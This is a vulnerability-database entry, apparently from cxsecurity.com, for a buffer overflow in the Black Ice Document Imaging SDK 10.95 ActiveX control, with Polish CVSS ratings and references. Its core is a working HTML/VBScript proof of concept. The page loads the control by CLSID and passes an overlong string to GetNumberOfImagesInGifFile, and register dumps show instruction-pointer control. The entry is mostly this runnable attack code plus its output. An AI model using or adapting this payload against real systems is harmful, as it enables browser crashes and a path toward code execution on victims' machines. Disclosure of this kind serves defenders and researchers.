Document Imaging SDK 10.95 ActiveX Buffer Overflow PoC

2008.07.20
Credit: r0ut3r
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

<!-- Document Imaging SDK Buffer Overflow Vulnerability DoS Proof of concept Author: r0ut3r Mail : writ3r [at] gmail.com ----------------------------- -Tested on WinXP Pro SP2 Version: 10.95 Vendor : Black Ice Software Price : $999 File : biimgfrm.ocx CLSID: {79956462-F148-497F-B247-DF35A095F80B} DLL Settings: RegKey Safe for Script: True RegKey Safe for Init : True KillBitSet : False Register: EIP 7C91B3FB -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EAX 001919C0 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EBX 41414141 ECX 00004141 EDX 00150168 -> 00000000 EDI 41414141 ESI 001919B8 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA EBP 0013EA20 -> 0013EAA4 ESP 0013E804 -> 0000021A ----------------------------- --> <object classid='clsid:79956462-F148-497F-B247-DF35A095F80B' id='test'></object> <script language='vbscript'> Sub Boom buff = String(14356, "A") test.GetNumberOfImagesInGifFile buff End Sub </script> <input type=button onclick=Boom() value='Boom?'>

Referencje:

http://www.securityfocus.com/bid/30243
http://www.milw0rm.com/exploits/6083
http://secunia.com/advisories/31095


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top